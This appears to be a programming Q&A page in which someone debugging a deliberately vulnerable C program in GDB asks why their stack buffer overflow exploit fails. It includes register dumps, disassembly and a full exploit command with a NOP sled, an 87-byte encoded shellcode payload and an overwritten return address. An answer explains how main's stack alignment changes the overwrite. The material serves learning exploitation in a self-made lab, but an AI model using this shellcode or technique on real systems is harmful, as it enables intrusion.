Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Buffer Overflow Exploit Example

I am working through some buffer overflow exploit examples and have written a basic vulnerable C app to test with: (target and attacker is the same Kali 2 machine and have run "echo "0" > /proc/sys/kernel/randomize_va_space")

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        char buffer[256];
        if (argc != 2)
        {
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

Now, with some testing in GDB i can cause a seg fault by putting 260 bytes in the buffer:

r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52')

with the registers showing:

eax            0x105    261
ecx            0xffffd300   -11520
edx            0xf7fb3878   -134530952
ebx            0xf7fb2000   -134537216
esp            0xffffd300   0xffffd300
ebp            0x0  0x0
esi            0x0  0
edi            0x0  0
eip            0x42424242   0x42424242
eflags         0x10286  [ PF SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

I think i can successfully gain control of EIP, given the 0x424242 above (although EBP is 0x0??)

Question 1.

With a buffer of 260 bytes, EIP is overridden as above. If using:

r $(python -c 'print "A" * 512')

i am finding that the SEGSEGV is at 0x080484b4 with registers

eax            0x201    513
ecx            0x41414141   1094795585
edx            0xf7fb3878   -134530952
ebx            0xf7fb2000   -134537216
esp            0x4141413d   0x4141413d
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0x80484b4    0x80484b4 <main+89>
eflags         0x10286  [ PF SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

I would have thought that if the 260 gains control of EIP, shouldn't the 512 byte example as well? Why does the 512 scenario allow the EIP to point to the ret in this case instead of the 0x424242 as in the 260 bytes buffer example above??

Question 2.

I have created a payload that is 87 bytes. I have injected the payload into the initial 204 bytes as below

r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)')

My disas main is as follows

   0x0804845b <+0>: lea    0x4(%esp),%ecx
   0x0804845f <+4>: and    $0xfffffff0,%esp
   0x08048462 <+7>: pushl  -0x4(%ecx)
   0x08048465 <+10>:    push   %ebp
   0x08048466 <+11>:    mov    %esp,%ebp
   0x08048468 <+13>:    push   %ecx
   0x08048469 <+14>:    sub    $0x104,%esp
   0x0804846f <+20>:    mov    %ecx,%eax
   0x08048471 <+22>:    cmpl   $0x2,(%eax)
   0x08048474 <+25>:    je     0x8048480 <main+37>
   0x08048476 <+27>:    sub    $0xc,%esp
   0x08048479 <+30>:    push   $0x0
   0x0804847b <+32>:    call   0x8048340 <exit@plt>
   0x08048480 <+37>:    mov    0x4(%eax),%eax
   0x08048483 <+40>:    add    $0x4,%eax
   0x08048486 <+43>:    mov    (%eax),%eax
   0x08048488 <+45>:    sub    $0x8,%esp
   0x0804848b <+48>:    push   %eax
   0x0804848c <+49>:    lea    -0x108(%ebp),%eax
   0x08048492 <+55>:    push   %eax
   0x08048493 <+56>:    call   0x8048310 <strcpy@plt>
   0x08048498 <+61>:    add    $0x10,%esp
   0x0804849b <+64>:    sub    $0xc,%esp
   0x0804849e <+67>:    lea    -0x108(%ebp),%eax
   0x080484a4 <+73>:    push   %eax
   0x080484a5 <+74>:    call   0x8048320 <puts@plt>
   0x080484aa <+79>:    add    $0x10,%esp
   0x080484ad <+82>:    mov    -0x4(%ebp),%ecx
   0x080484b0 <+85>:    leave  
   0x080484b1 <+86>:    lea    -0x4(%ecx),%esp
=> 0x080484b4 <+89>:    ret  

Putting a break on 56 (0x08048493) and examining the ESP x/2wx $esp i can find that:

0xffffd220: 0xffffd230  0xffffd56b

and x/s 0xffffd56b

0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>...
(gdb) 
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times>

so, can deduce (hopefully correctly) that EIP should be \x6b\xd5\xff\xff to call the exploit, and substituting all pieces as below (using nop sled):

r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)')

Unfortunately, the program is now just terminating normally with "[Inferior 1 (process 2863) exited normally]". Am i missing something or just way off the correct path...? Also i notice breaks no do not break in the statement above?

-- Edit

Reworded to make more sense after walking away from the hours at the screen :)

like image 647
TheITGuy Avatar asked Nov 10 '22 02:11

TheITGuy


1 Answers

Notice that the original stack pointer is saved on the stack and it is restored just before the ret. So if you overwrite the stack you might also overwrite the stack pointer which will be used for the ret. main is special this way, because it has stack alignment code in the prologue.

That said, the expected behavior is actually the second case and the first is the special one. Your string happens to be just the right length so the terminating zero overwrites the low byte of the saved stack pointer which is just enough to make it point a little lower in memory, but still within your string. The exact location will depend on stack layout, it won't always be your BBBB, in fact for me it's somewhere in the AAAA part. Note that even with ASLR off, stack layout might change due to environment so even if you get an exploit working in gdb it might not work reliably, or at all, from a shell.

like image 142
Jester Avatar answered Nov 14 '22 23:11

Jester